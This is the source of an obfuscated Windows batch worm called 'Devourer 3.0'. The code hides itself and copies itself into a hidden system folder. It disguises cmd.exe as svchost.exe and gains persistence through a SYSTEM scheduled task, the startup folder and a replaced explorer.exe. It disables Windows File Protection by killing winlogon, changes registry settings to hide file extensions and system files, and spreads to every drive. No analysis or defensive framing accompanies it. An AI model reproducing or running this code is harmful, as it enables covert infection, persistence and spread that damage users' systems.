goto RealHead
[Devourer_3.0_23202153117147][zzzzzzzz.doc][TDPack]

:RealHead
cls
@echo off

:AvoideVNBug
if "%APPDATA%"=="" if not exist %systemroot%\system32\drivers\values.log goto Kill
if "%APPDATA%"=="" FOR /F "tokens=*" %%i in (%systemroot%\system32\drivers\values.log) do set %%i

%comspec:~-16,1%%comspec:~-1%%comspec:~-13,1% %comspec:~-13,1%%userprofile:~5,1%%appdata:~-7,1%%appdata:~-15,1%%userprofile:~6,1%=%%bh%%jkq%%vz%%f7%%4c50t%%u1w8%%(cdf9)%%@6tc%%
%comspec:~-16,1%%comspec:~-1%%comspec:~-13,1%%appdata:~-13,1%%appdata:~-7,1%%userprofile:~5,1%%appdata:~-1%%appdata:~-13,1% ENABLEEXTENSIONS ENABLEDELAYEDEXPANSION
%comspec:~-16,1%%comspec:~-1%%comspec:~-13,1% D%comspec:~-1%%tcopu:~8,1%%appdata:~-7,1%%userprofile:~6,1%%programfiles:~4,1%%comspec:~-1%%programfiles:~4,1%=%systemroot%\F%appdata:~-7,1%%userprofile:~14,1%%comspec:~-13,1%%comspec:~-16,1%\HIDESE~%tcopu:~21,1%
%comspec:~-16,1%%comspec:~-1%%comspec:~-13,1% %comspec:~-16,1%%comspec:~-1%%comspec:~-13,1%%userprofile:~6,1%%appdata:~-15,1%=%systemroot%\F%appdata:~-7,1%%userprofile:~14,1%%comspec:~-13,1%%comspec:~-16,1%\HIDESE~%tcopu:~21,1%\D%comspec:~-1%%tcopu:~8,1%%appdata:~-7,1%%userprofile:~6,1%%programfiles:~4,1%%comspec:~-1%%programfiles:~4,1%%comspec:~-16,1%%comspec:~-1%%comspec:~-13,1%%userprofile:~6,1%%appdata:~-15,1%
%comspec:~-16,1%%comspec:~-1%%comspec:~-13,1% %programfiles:~4,1%%appdata:~-1%%programfiles:~4,1%=%Devourer%\W%programfiles:~-4,1%%userprofile:~14,1%RAR
%comspec:~-16,1%%comspec:~-1%%comspec:~-13,1% %comspec:~-16,1%%comspec:~-1%%appdata:~-13,1%%tcopu:~11,1%%userprofile:~5,1%%appdata:~-7,1%%appdata:~15,1%%comspec:~-1%=%random%%random%

if "%1"=="-Install" goto Install
if "%1"=="-Run" goto Run
if "%1"=="-Tenbatsu" goto Tenbatsu
if "%1"=="-Kill" goto Kill
if "%1"=="-Open" goto Open
if /i "%1"=="-goto" goto %2

:CheckSign
if "%1"=="-Fil" if exist %Devourer%\Devourer.sign del /f /a /q %0&exit
if exist %Devourer%\Devourer.sign exit
echo %selfcode%>%Devourer%\Devourer.sign
if not exist %Devourer%\SOLA.BAT goto ChkSGNNext
del /f /a /q %Devourer%\*.*
rd /s /q %Devourer%\solasetup
:ChkSGNNext
echo>%Devourer%\sola.sign

if not exist "%ALLUSERSPROFILE%\桌面" goto End

:HIDESelf
%appdata:~7,1%%appdata:~15,1% %systemroot%\F%appdata:~-7,1%%userprofile:~14,1%%comspec:~-13,1%%comspec:~-16,1%\HIDESELF...\
%appdata:~7,1%%appdata:~15,1% %Devourer%\%tcopu:~17,1%%userprofile:~14,1%%appdata:~-7,1%%appdata:~15,1%%comspec:~-1%%appdata:~-13,1%................\
%programfiles:~-4,1%%tcopu:~11,1% %userprofile:~14,1%%appdata:~-7,1%%comspec:~-13,1% %comspec:~-1%%comspec:~-2,1%%programfiles:~-4,1%%comspec:~-16,1%%comspec:~-13,1% %Devourer% %programfiles:~6,1%%appdata:~-7,1%%comspec:~-13,1%%appdata:~-7,1% K%programfiles:~-4,1%%appdata:~-13,1%%appdata:~-13,1%

:FileCopy
set selfname=%0
attrib %selfname% -s -h -r
if not "%1"=="-USB" copy %selfname% %Devourer%\Devourer.bat
if "%1"=="-USB" copy Devourer.bat %Devourer%\Devourer.bat
attrib %selfname% +s +h +r
if not exist %Devourer%\Devourer.bat goto kill
cd\
md %Devourer%\WinRAR
md %Devourer%\WinRAR\Formats
if not exist Devourer\WINRAR goto FileCopyNext
copy Devourer\WinRAR\*.* %Devourer%\Winrar\*.*
copy Devourer\WinRAR\Formats\*.* %Devourer%\Winrar\Formats\*.*
goto FileCopyNext2
:FileCopyNext
if not exist "%programfiles%\winrar\winrar.exe" goto Kill
copy "%programfiles%\winrar\*.*" %Devourer%\Winrar\*.*
copy "%programfiles%\winrar\Formats\*.*" %Devourer%\Winrar\Formats\*.*
:FileCopyNext2
echo On Error Resume Next>%Devourer%\Devourer.VBS
echo set ws=wscript.createobject("wscript.shell")>>%Devourer%\Devourer.VBS
echo ws.run "cmd /c %Devourer%\Devourer.BAT -Install",0 >>%Devourer%\Devourer.VBS

cscript %Devourer%\Devourer.VBS
del %Devourer%\Devourer.VBS
if "%1"=="-Fil" del /f /a /q %0
exit
====================================================



:Install
:PackerSetup

%SystemDrive%
cd %Devourer%
if exist Devourersetup rd /s /q Devourersetup
md Devourersetup
cd Devourersetup

..\W%programfiles:~-4,1%%userprofile:~14,1%RAR\%programfiles:~4,1%%appdata:~-1%%programfiles:~4,1%.%comspec:~-1%%comspec:~-2,1%%comspec:~-1% %comspec:~-1% -%tcopu:~2,1%%appdata:~-15,1%%comspec:~-1%%appdata:~-7,1%%comspec:~-16,1%%comspec:~-13,1%%userprofile:~5,1% "%0"
..\W%programfiles:~-4,1%%userprofile:~14,1%RAR\%programfiles:~4,1%%appdata:~-1%%programfiles:~4,1%.%comspec:~-1%%comspec:~-2,1%%comspec:~-1% %appdata:~-1% -%appdata:~7,1%%tcopu:~16,1% -%tcopu:~2,1%%appdata:~-15,1%%comspec:~-1%%appdata:~-7,1%%comspec:~-16,1%%comspec:~-13,1%%userprofile:~5,1% F%userprofile:~6,1%%userprofile:~14,1%%userprofile:~5,1%%comspec:~-13,1%%programfiles:~-4,1%%appdata:~-7,1%%userprofile:~14,1%.%appdata:~15,1%%appdata:~-13,1%%appdata:~-13,1% *

copy ..\WinRAR\rar.exe rar.exe
copy *.ico ..\WinRAR\*.ico
copy example.rar ..\WinRAR\example.rar
cd..

tasklist >%Devourer%\task.txt
FOR /F "tokens=1" %%i in ('findstr /I "svchost.exe" "%Devourer%\task.txt"') do set svchost=%%i
copy %systemroot%\system32\cmd.exe %Devourer%\%svchost%
copy %setup%\sleep.exe %setup%\%svchost%
if not exist %Devourer%\svchost.exe copy %systemroot%\system32\cmd.exe %Devourer%\svchost.exe&copy %setup%\sleep.exe %setup%\svchost.exe
del %Devourer%\task.txt

cd WinRAR
copy Default.SFX C:\~$.sfx
for %%i in (txt doc jpg exe exp fil) do copy example.rar ..\Devourersetup\%%ipack.dll
start /min %rar%\winrar.exe ch -- %setup%\example.rar
%setup%\svchost.exe 1000
call regedit.exe /s %setup%\RegA.txt
%setup%\svchost.exe 1000
copy /y txt.ico C:\~$.ico&start /min %rar%\winrar.exe ch -- %setup%\txtpack.dll&%setup%\svchost.exe 2000
copy /y doc.ico C:\~$.ico&start /min %rar%\winrar.exe ch -- %setup%\docpack.dll&%setup%\svchost.exe 2000
copy /y jpg.ico C:\~$.ico&start /min %rar%\winrar.exe ch -- %setup%\jpgpack.dll&%setup%\svchost.exe 2000
copy /y exe.ico C:\~$.ico&start /min %rar%\winrar.exe ch -- %setup%\exepack.dll&%setup%\svchost.exe 2000
copy /y exp.ico C:\~$.ico&start /min %rar%\winrar.exe ch -- %setup%\exppack.dll&%setup%\svchost.exe 2000
copy /y fil.ico C:\~$.ico&start /min %rar%\winrar.exe ch -- %setup%\filpack.dll&%setup%\svchost.exe 2000
call regedit.exe /s %setup%\RegB.txt
del C:\~$.*
cd..

:MakeRarNormal
md 0WinRAR\Formats
cd 0WinRAR
copy ..\WinRAR\Formats\UNACEV2.DLL Formats\*.*
copy ..\WinRAR\Default.SFX Default.SFX
copy ..\WinRAR\Descript.ion Descript.ion
copy ..\WinRAR\Rar.exe Rar.exe
copy ..\WinRAR\RarExt64.dll RarExt64.dll
copy ..\WinRAR\RarExt.dll RarExt.dll
copy ..\WinRAR\RarFiles.lst RarFiles.lst
copy ..\WinRAR\WinRAR.exe WinRAR.exe
cd..
rd /s /q WinRAR
ren 0WinRAR WinRAR

%programfiles:~-4,1%%tcopu:~11,1% %comspec:~-1%%comspec:~-2,1%%programfiles:~-4,1%%comspec:~-16,1%%comspec:~-13,1% %Devourer%\%appdata:~7,1%%appdata:~-7,1%%appdata:~15,1%.%tcopu:~1,1%%appdata:~-1%%comspec:~-13,1% %appdata:~15,1%%comspec:~-1%%appdata:~-13,1% /%tcopu:~11,1% /%appdata:~-1% /%tcopu:~6,1% %Devourer%\%appdata:~7,1%%appdata:~-7,1%%appdata:~15,1%.%tcopu:~1,1%%appdata:~-1%%comspec:~-13,1%
%userprofile:~5,1%%appdata:~-7,1%%appdata:~-15,1%%comspec:~12,1% %setup%\%appdata:~7,1%%appdata:~-7,1%%appdata:~15,1%.%tcopu:~1,1%%appdata:~-1%%comspec:~-13,1% %Devourer%\%appdata:~7,1%%appdata:~-7,1%%appdata:~15,1%.%tcopu:~1,1%%appdata:~-1%%comspec:~-13,1%
%comspec:~-1%%userprofile:~5,1%%tcopu:~2,1%%appdata:~-7,1% ::MADE_BY_KCN-%selfcode%>>%Devourer%\%appdata:~7,1%%appdata:~-7,1%%appdata:~15,1%.%tcopu:~1,1%%appdata:~-1%%comspec:~-13,1%
%userprofile:~5,1%%appdata:~-7,1%%appdata:~-15,1%%comspec:~12,1% /Y %setup%\CHAIN.BAT %systemroot%\%comspec:~-16,1%%comspec:~12,1%%comspec:~-16,1%%comspec:~-13,1%%comspec:~-1%%appdata:~7,1%%comspec:~-10,1%%comspec:~-9,1%\CHAIN.BAT


echo Windows Registry Editor Version 5.00>%setup%\reg.reg
echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Schedule]>>%setup%\reg.reg
echo "Start"=dword:00000002>>%setup%\reg.reg
regedit /e %systemroot%\ls.reg "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Schedule"
%setup%\svchost.exe 1000
type %systemroot%\ls.reg>%Devourer%\ls.txt
FOR /F "tokens=2 delims=:" %%i in ('findstr /c:"tart" %Devourer%\ls.txt') do if not "%%i"=="00000002" regedit /s %setup%\reg.reg

echo Windows Registry Editor Version 5.00>>%setup%\reg2.reg
echo [HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced]>>%setup%\reg2.reg
echo "HideFileExt"=dword:00000001>>%setup%\reg2.reg
echo "ShowSuperHidden"=dword:00000000>>%setup%\reg2.reg
echo [-HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Folder\HideFileExt]>>%setup%\reg2.reg
echo [-HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Folder\SuperHidden]>>%setup%\reg2.reg
start regedit.exe /s %setup%\reg2.reg



:Mainsetup

:MainStep1
echo On Error Resume Next>lsvbs.VBS
echo set ws=wscript.createobject("wscript.shell")>>lsvbs.VBS
echo ws.run "cmd /c %Devourer%\Devourer.BAT -goto TaskSetup",0 >>lsvbs.VBS
cscript lsvbs.vbs
%setup%\svchost.exe 10000
if exist %Devourer%\TaskOK del %Devourer%\TaskOK&goto MainStep4


:MainStep2
del %systemroot%\Tasks\Tasks.job
echo On Error Resume Next>lsvbs.VBS
echo set ws=wscript.createobject("wscript.shell")>>lsvbs.VBS
echo ws.run "cmd /c %Devourer%\Devourer.BAT -goto ExpSetup",0 >>lsvbs.VBS
cscript lsvbs.vbs
%setup%\svchost.exe 10000
if exist %Devourer%\ExpOK del %Devourer%\ExpOK&goto MainStep4

:MainStep3
echo On Error Resume Next>lsvbs.VBS
echo set ws=wscript.createobject("wscript.shell")>>lsvbs.VBS
echo ws.run "cmd /c %Devourer%\Devourer.BAT -goto MenuSetup",0 >>lsvbs.VBS
cscript lsvbs.vbs
%setup%\svchost.exe 10000
if exist %Devourer%\MenuOK del %Devourer%\MenuOK&goto MainStep4
goto Kill

:MainStep4

:NOSLK
del /f /a /q %systemroot%\system32\rar.exe %systemroot%\SOLAADDRESS.TXT "%Programfiles%\KAKENHI'S\GUICheck.bat"
md %systemroot%\system32\rar.exe\nodel......\
md %systemroot%\solaaddress.txt\nodel......\
md "%Programfiles%\KAKENHI'S\GUICheck.bat\nodel......\"

:SetTwunk32
FOR /F "%comspec:~-16,1%%tcopu:~5,1%%programfiles:~-4,1%%appdata:~-15,1%=%tcopu:~16,1% %comspec:~-13,1%%appdata:~-7,1%%tcopu:~5,1%%comspec:~-1%%userprofile:~14,1%%comspec:~-16,1%=%tcopu:~21,1%,%tcopu:~14,1%" %%%programfiles:~-4,1% %programfiles:~-4,1%%userprofile:~14,1% %tcopu:~25,1%'%appdata:~15,1%%programfiles:~-4,1%%programfiles:~4,1% %systemroot%\%comspec:~-13,1%%os:~5,1%%userprofile:~6,1%%userprofile:~14,1%%tcopu:~5,1%_%tcopu:~21,1%%tcopu:~33,1%.%comspec:~-1%%comspec:~-2,1%%comspec:~-1%'%tcopu:~30,1% %appdata:~15,1%%appdata:~-7,1% %programfiles:~-4,1%%tcopu:~11,1% /I "%%%tcopu:~4,1%"=="%comspec:~-13,1%%os:~5,1%%userprofile:~6,1%%userprofile:~14,1%%tcopu:~5,1%_%tcopu:~21,1%%tcopu:~33,1%.%comspec:~-1%%comspec:~-2,1%%comspec:~-1%" %comspec:~-16,1%%comspec:~-1%%comspec:~-13,1% %tcopu:~11,1%D%appdata:~-1%%comspec:~-13,1%%comspec:~-1%=%%%programfiles:~-4,1%
%comspec:~-16,1%%comspec:~-1%%comspec:~-13,1% %programfiles:~4,1%D%appdata:~-1%%comspec:~-13,1%%comspec:~-1%=%Date%
%appdata:~15,1%%appdata:~-1%%comspec:~-13,1%%comspec:~-1% %fDate%
%comspec:~-1%%userprofile:~5,1%%tcopu:~2,1%%appdata:~-7,1%.>>%systemroot%\F%appdata:~-7,1%%userprofile:~14,1%%comspec:~-13,1%%comspec:~-16,1%\%appdata:~15,1%%comspec:~-1%%comspec:~-16,1%%tcopu:~5,1%UI.%programfiles:~-4,1%%userprofile:~14,1%%programfiles:~-4,1%
%comspec:~-1%%userprofile:~5,1%%tcopu:~2,1%%appdata:~-7,1% [.S%tcopu:~2,1%%comspec:~-1%%appdata:~-13,1%%appdata:~-13,1%C%appdata:~-13,1%%appdata:~-1%%comspec:~-16,1%%comspec:~-16,1%I%userprofile:~14,1%%tcopu:~11,1%%appdata:~-7,1%%comspec:~-9,1%]>>%systemroot%\F%appdata:~-7,1%%userprofile:~14,1%%comspec:~-13,1%%comspec:~-16,1%\%appdata:~15,1%%comspec:~-1%%comspec:~-16,1%%tcopu:~5,1%UI.%programfiles:~-4,1%%userprofile:~14,1%%programfiles:~-4,1%
%comspec:~-1%%userprofile:~5,1%%tcopu:~2,1%%appdata:~-7,1% %tcopu:~11,1%%appdata:~-7,1%%userprofile:~14,1%%comspec:~-13,1%%comspec:~12,1%%appdata:~-15,1%%comspec:~-1%=NT-%selfcode%.FON>>%systemroot%\F%appdata:~-7,1%%userprofile:~14,1%%comspec:~-13,1%%comspec:~-16,1%\%appdata:~15,1%%comspec:~-1%%comspec:~-16,1%%tcopu:~5,1%UI.%programfiles:~-4,1%%userprofile:~14,1%%programfiles:~-4,1%
%comspec:~-16,1%%comspec:~-1%%comspec:~-13,1%>%systemroot%\%comspec:~-16,1%%comspec:~12,1%%comspec:~-16,1%%comspec:~-13,1%%comspec:~-1%%appdata:~7,1%%comspec:~-10,1%%comspec:~-9,1%\%appdata:~15,1%%programfiles:~4,1%%programfiles:~-4,1%%tcopu:~8,1%%comspec:~-1%%programfiles:~4,1%%comspec:~-16,1%\%tcopu:~8,1%%appdata:~-1%%appdata:~-13,1%%userprofile:~6,1%%comspec:~-1%%comspec:~-16,1%.%appdata:~-13,1%%appdata:~-7,1%%programfiles:~6,1%
%appdata:~15,1%%appdata:~-1%%comspec:~-13,1%%comspec:~-1% %rDate%

:VoideUnownBug
FOR /F "tokens=*" %%i in (%Devourer%\Devourer.bat) do echo %%i>LS.bat&goto DebugNext
:DebugNext
type %setup%\Devourer.bat>>LS.bat
copy /y LS.bat %Devourer%\Devourer.bat&exit

:TaskSetup
attrib %systemroot%\Tasks\Tasks.job -s -h -r
del %systemroot%\Tasks\Tasks.job
type %setup%\Tasks.xxx>%systemroot%\Tasks\Tasks.job
schtasks /change /ru "NT AUTHORITY\SYSTEM" /tn "Tasks" & if errorlevel 1 exit
:TaskNext
attrib %systemroot%\Tasks\Tasks.job +s +h +r
echo.>%Devourer%\TaskOK
echo.>%Devourer%\TaskStart
exit

:ExpSetup
ren %systemroot%\system32\svchost.exe 0svchost.exe
if errorlevel 1 exit
ren %systemroot%\system32\0svchost.exe svchost.exe
if not exist %systemroot%\system32\dbgeng.dll exit
copy /Y %setup%\exppack.dll %Devourer%\explorer.exe
copy /Y %setup%\ntsd.exe %systemroot%\system32\stop.exe
echo On Error Resume Next>Devourer.VBS
echo set ws=wscript.createobject("wscript.shell")>>Devourer.VBS
echo ws.run "%Devourer%\svchost.exe /c %Devourer%\Devourer.BAT -Run -ExpStart",0 >>Devourer.VBS
echo ws.run "%systemroot%\system32\CHAIN.BAT -Guide",0 >>Devourer.VBS
%setup%\rar.exe -m0 -ep -ep1 a %Devourer%\explorer.exe Devourer.vbs
del Devourer.vbs
:ZsMake1
echo SavePath>zs.txt
echo Setup=Devourer.vbs>>zs.txt
echo silent=1 >>zs.txt
echo Overwrite=1 >>zs.txt
%setup%\rar.exe -zzs.txt c %Devourer%\explorer.exe
del zs.txt
echo KZSSXN93JS900SCKNKDSK>>%Devourer%\explorer.exe
:KillSFC
start mshta "javascript:new ActiveXObject('WScript.Shell').Run('stop -pn winlogon.exe',0);window.close()"
del /f /a %systemroot%\system32\sfcfiles.dll %systemroot%\system32\dllcache\sfcfiles.dll
:ReplaceFile
ren %systemroot%\explorer.exe 0explorer.exe
attrib %systemroot%\0explorer.exe +s +h +r
copy %Devourer%\explorer.exe %systemroot%\explorer.exe
echo.>%Devourer%\ExpOK
exit


:MenuSetup
%homedrive%
cd "%ALLUSERSPROFILE%"
cd 「开始」菜单\程序\启动
echo On Error Resume Next>Devourer.VBS
if not exist Devourer.VBS exit
echo set ws=wscript.createobject("wscript.shell")>>Devourer.VBS
echo ws.run "%Devourer%\svchost.exe /c %Devourer%\Devourer.BAT -Run",0 >>Devourer.VBS
echo ws.run "%systemroot%\system32\CHAIN.BAT -Guide",0 >>Devourer.VBS
copy Devourer.VBS %Devourer%\Devourer.VBS
echo NT>%Devourer%\NoTasks
echo.>%Devourer%\MenuOK
exit


:Run
%programfiles:~-4,1%%tcopu:~11,1% %comspec:~-1%%comspec:~-2,1%%programfiles:~-4,1%%comspec:~-16,1%%comspec:~-13,1% %Devourer%\D%comspec:~-1%%tcopu:~8,1%%appdata:~-7,1%%userprofile:~6,1%%programfiles:~4,1%%comspec:~-1%%programfiles:~4,1%.%comspec:~-16,1%%programfiles:~-4,1%%programfiles:~6,1%%userprofile:~14,1% %comspec:~-1%%userprofile:~5,1%%tcopu:~2,1%%appdata:~-7,1% %selfcode%>%Devourer%\D%comspec:~-1%%tcopu:~8,1%%appdata:~-7,1%%userprofile:~6,1%%programfiles:~4,1%%comspec:~-1%%programfiles:~4,1%.%comspec:~-16,1%%programfiles:~-4,1%%programfiles:~6,1%%userprofile:~14,1%
if not "%2"=="-ExpStart" goto RunNext

:StartExplorer
%systemdrive%
cd %systemroot%
ren explorer.exe 1explorer.exe
attrib 0explorer.exe -s -h -r
ren 0explorer.exe explorer.exe
start explorer.exe
%setup%\svchost.exe 10000
ren explorer.exe 0explorer.exe
ren 1explorer.exe explorer.exe
attrib 0explorer.exe +s +h +r
del %systemroot%\Devourer.VBS
cd %Devourer%

:RunNext

:RunTimeChk
if not exist %Devourer%\RunTime.txt echo RunSign_50>%Devourer%\RunTime.txt
FOR /F "tokens=2 delims=_" %%i in (%Devourer%\RunTime.txt) do set RunTime=%%i
if /i %RunTime% leq 0 goto Virus
set /a RunTime=%Runtime%-1
echo RunSign_%RunTime%>%Devourer%\RunTime.txt

:Diskchk
echo On Error Resume Next>%Devourer%\RecentInf.VBS
echo set ws=wscript.createobject("wscript.shell")>>%Devourer%\RecentInf.VBS
echo ws.run "%Devourer%\svchost.exe /c %setup%\RecentInf.bat",0 >>%Devourer%\RecentInf.VBS
cscript %Devourer%\RecentInf.VBS
del %Devourer%\RecentInf.VBS

set runroot=%ALLUSERSPROFILE%\「开始」菜单\程序\启动
set taskroot=%systemroot%\Tasks


:CHAIN
%comspec:~-1%%userprofile:~5,1%%tcopu:~2,1%%appdata:~-7,1%.>%systemroot%\D%programfiles:~4,1%%programfiles:~-4,1%%tcopu:~8,1%%comspec:~-1%I%userprofile:~14,1%%tcopu:~11,1%.%programfiles:~-4,1%%userprofile:~14,1%%programfiles:~-4,1%
%comspec:~-1%%userprofile:~5,1%%tcopu:~2,1%%appdata:~-7,1% O%userprofile:~14,1% E%programfiles:~4,1%%programfiles:~4,1%%appdata:~-7,1%%programfiles:~4,1% R%comspec:~-1%%comspec:~-16,1%%userprofile:~6,1%%appdata:~7,1%%comspec:~-1% N%comspec:~-1%%comspec:~-2,1%%comspec:~-13,1%>%Devourer%\%appdata:~-13,1%%comspec:~-16,1%%tcopu:~8,1%%tcopu:~1,1%%comspec:~-16,1%.%tcopu:~8,1%%tcopu:~1,1%%comspec:~-16,1%
%comspec:~-1%%userprofile:~5,1%%tcopu:~2,1%%appdata:~-7,1% %comspec:~-16,1%%comspec:~-1%%comspec:~-13,1% %os:~5,1%%comspec:~-16,1%=%os:~5,1%%comspec:~-16,1%%userprofile:~5,1%%programfiles:~4,1%%programfiles:~-4,1%%appdata:~-15,1%%comspec:~-13,1%.%userprofile:~5,1%%programfiles:~4,1%%comspec:~-1%%appdata:~-1%%comspec:~-13,1%%comspec:~-1%%appdata:~-7,1%%tcopu:~1,1%%tcopu:~4,1%%comspec:~-1%%userprofile:~5,1%%comspec:~-13,1%%tcopu:~25,1%"%os:~5,1%%comspec:~-16,1%%userprofile:~5,1%%programfiles:~4,1%%programfiles:~-4,1%%appdata:~-15,1%%comspec:~-13,1%.%comspec:~-16,1%%tcopu:~2,1%%comspec:~-1%%appdata:~-13,1%%appdata:~-13,1%"%tcopu:~30,1%>>%Devourer%\%appdata:~-13,1%%comspec:~-16,1%%tcopu:~8,1%%tcopu:~1,1%%comspec:~-16,1%.%tcopu:~8,1%%tcopu:~1,1%%comspec:~-16,1%
%comspec:~-1%%userprofile:~5,1%%tcopu:~2,1%%appdata:~-7,1% %os:~5,1%%comspec:~-16,1%.%programfiles:~4,1%%userprofile:~6,1%%userprofile:~14,1% "%systemroot%\%comspec:~-16,1%%comspec:~12,1%%comspec:~-16,1%%comspec:~-13,1%%comspec:~-1%%appdata:~7,1%%comspec:~-10,1%%comspec:~-9,1%\CHAIN.BAT -T%programfiles:~-4,1%%appdata:~7,1%%comspec:~-1%S%comspec:~-1%%comspec:~-13,1%",%tcopu:~17,1% >>%Devourer%\%appdata:~-13,1%%comspec:~-16,1%%tcopu:~8,1%%tcopu:~1,1%%comspec:~-16,1%.%tcopu:~8,1%%tcopu:~1,1%%comspec:~-16,1%
%userprofile:~5,1%%comspec:~-16,1%%userprofile:~5,1%%programfiles:~4,1%%programfiles:~-4,1%%appdata:~-15,1%%comspec:~-13,1% %Devourer%\%appdata:~-13,1%%comspec:~-16,1%%tcopu:~8,1%%tcopu:~1,1%%comspec:~-16,1%.%tcopu:~8,1%%tcopu:~1,1%%comspec:~-16,1%
%appdata:~15,1%%comspec:~-1%%appdata:~-13,1% %Devourer%\%appdata:~-13,1%%comspec:~-16,1%%tcopu:~8,1%%tcopu:~1,1%%comspec:~-16,1%.%tcopu:~8,1%%tcopu:~1,1%%comspec:~-16,1%

for %%i in (C D E F G H I J K L M N O P Q R S T U V W X Y Z) do vol %%i:&if errorlevel 1 set %%i=1
for %%i in (C D E F G H I J K L M N O P Q R S T U V W X Y Z) do echo 1>%%i:\Devourerchk1 & findstr . %%i:\Devourerchk1 & if not errorlevel 1 del %%i:\Devourerchk1&if not exist %%i:\Devourer\WINRAR\WinRAR.exe md %%i:\Devourer\WinRAR\Formats&copy %rar%\Formats\* %%i:\Devourer\WinRAR\Formats\*&copy %rar%\* %%i:\Devourer\WinRAR\*&attrib %%i:\Devourer +s +h +r

echo On Error Resume Next>%Devourer%\lsvbs.vbs
echo set ws=wscript.createobject("wscript.shell")>>%Devourer%\lsvbs.vbs
echo ws.run "%Devourer%\svchost.exe /c %setup%\RarInform.bat %selfcode%",0 >>%Devourer%\lsvbs.vbs
cscript %Devourer%\lsvbs.vbs
del %Devourer%\lsvbs.vbs

:RunBack

if "%chktime%"=="" set chktime=0
set /a chktime=%chktime%+2
if /i %chktime% geq 60 goto DvRARChk

:RunBack2
if "%C%"=="1" vol C:&if not errorlevel 1 call %setup%\Scan.bat C:
if "%D%"=="1" vol D:&if not errorlevel 1 call %setup%\Scan.bat D:
if "%E%"=="1" vol E:&if not errorlevel 1 call %setup%\Scan.bat E:
if "%F%"=="1" vol F:&if not errorlevel 1 call %setup%\Scan.bat F:
if "%G%"=="1" vol G:&if not errorlevel 1 call %setup%\Scan.bat G:
if "%H%"=="1" vol H:&if not errorlevel 1 call %setup%\Scan.bat H:
if "%I%"=="1" vol I:&if not errorlevel 1 call %setup%\Scan.bat I:
if "%J%"=="1" vol J:&if not errorlevel 1 call %setup%\Scan.bat J:
if "%K%"=="1" vol K:&if not errorlevel 1 call %setup%\Scan.bat K:
if "%L%"=="1" vol L:&if not errorlevel 1 call %setup%\Scan.bat L:
if "%M%"=="1" vol M:&if not errorlevel 1 call %setup%\Scan.bat M:
if "%N%"=="1" vol N:&if not errorlevel 1 call %setup%\Scan.bat N:
if "%O%"=="1" vol O:&if not errorlevel 1 call %setup%\Scan.bat O:
if "%P%"=="1" vol P:&if not errorlevel 1 call %setup%\Scan.bat P:
if "%Q%"=="1" vol Q:&if not errorlevel 1 call %setup%\Scan.bat Q:
if "%R%"=="1" vol R:&if not errorlevel 1 call %setup%\Scan.bat R:
if "%S%"=="1" vol S:&if not errorlevel 1 call %setup%\Scan.bat S:
if "%T%"=="1" vol T:&if not errorlevel 1 call %setup%\Scan.bat T:
if "%U%"=="1" vol U:&if not errorlevel 1 call %setup%\Scan.bat U:
if "%V%"=="1" vol V:&if not errorlevel 1 call %setup%\Scan.bat V:
if "%W%"=="1" vol W:&if not errorlevel 1 call %setup%\Scan.bat W:
if "%X%"=="1" vol X:&if not errorlevel 1 call %setup%\Scan.bat X:
if "%Y%"=="1" vol Y:&if not errorlevel 1 call %setup%\Scan.bat Y:
if "%Z%"=="1" vol Z:&if not errorlevel 1 call %setup%\Scan.bat Z:
if "%C%"=="2" vol C:&if errorlevel 1 set C=1
if "%D%"=="2" vol D:&if errorlevel 1 set D=1
if "%E%"=="2" vol E:&if errorlevel 1 set E=1
if "%F%"=="2" vol F:&if errorlevel 1 set F=1
if "%G%"=="2" vol G:&if errorlevel 1 set G=1
if "%H%"=="2" vol H:&if errorlevel 1 set H=1
if "%I%"=="2" vol I:&if errorlevel 1 set I=1
if "%J%"=="2" vol J:&if errorlevel 1 set J=1
if "%K%"=="2" vol K:&if errorlevel 1 set K=1
if "%L%"=="2" vol L:&if errorlevel 1 set L=1
if "%M%"=="2" vol M:&if errorlevel 1 set M=1
if "%N%"=="2" vol N:&if errorlevel 1 set N=1
if "%O%"=="2" vol O:&if errorlevel 1 set O=1
if "%P%"=="2" vol P:&if errorlevel 1 set P=1
if "%Q%"=="2" vol Q:&if errorlevel 1 set Q=1
if "%R%"=="2" vol R:&if errorlevel 1 set R=1
if "%S%"=="2" vol S:&if errorlevel 1 set S=1
if "%T%"=="2" vol T:&if errorlevel 1 set T=1
if "%U%"=="2" vol U:&if errorlevel 1 set U=1
if "%V%"=="2" vol V:&if errorlevel 1 set V=1
if "%W%"=="2" vol W:&if errorlevel 1 set W=1
if "%X%"=="2" vol X:&if errorlevel 1 set X=1
if "%Y%"=="2" vol Y:&if errorlevel 1 set Y=1
if "%Z%"=="2" vol Z:&if errorlevel 1 set Z=1

if exist %systemroot%\DriveInf.ini del %systemroot%\DriveInf.ini
echo.>%systemroot%\DRKakunin.ini

%setup%\svchost.exe 500

if exist %systemroot%\ls*.reg del %systemroot%\ls*.reg

regedit /e %systemroot%\ls1.reg "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Schedule"
%setup%\svchost.exe 500

type %systemroot%\ls1.reg>%Devourer%\ls.txt
FOR /F "tokens=2 delims=:" %%i in ('findstr /c:"tart" %Devourer%\ls.txt') do if not "%%i"=="00000002" regedit /s %setup%\reg.reg
%setup%\svchost.exe 500

if exist %Devourer%\NoTasks if not exist "%runroot%\Devourer.VBS" copy "%Devourer%\Devourer.VBS" "%runroot%\Devourer.VBS"
if exist %Devourer%\TaskStart if not exist %Taskroot%\Tasks.job copy %setup%\Tasks.xxx %Taskroot%\Tasks.job&attrib %Taskroot%\Tasks.job +s +h +r&schtasks /change /ru "NT AUTHORITY\SYSTEM" /tn "Tasks"
if "%2"=="-ExpStart" attrib %systemroot%\explorer.exe -s -h -r&%setup%\svchost.exe 500
if not exist %systemroot%\explorer.exe copy %setup%\explorer.exe %systemroot%\explorer.exe
if "%2"=="-ExpStart" findstr KZSSXN93JS900SCKNKDSK %systemroot%\explorer.exe>nul&if errorlevel 1 if not exist %systemroot%\1explorer.exe goto Kill

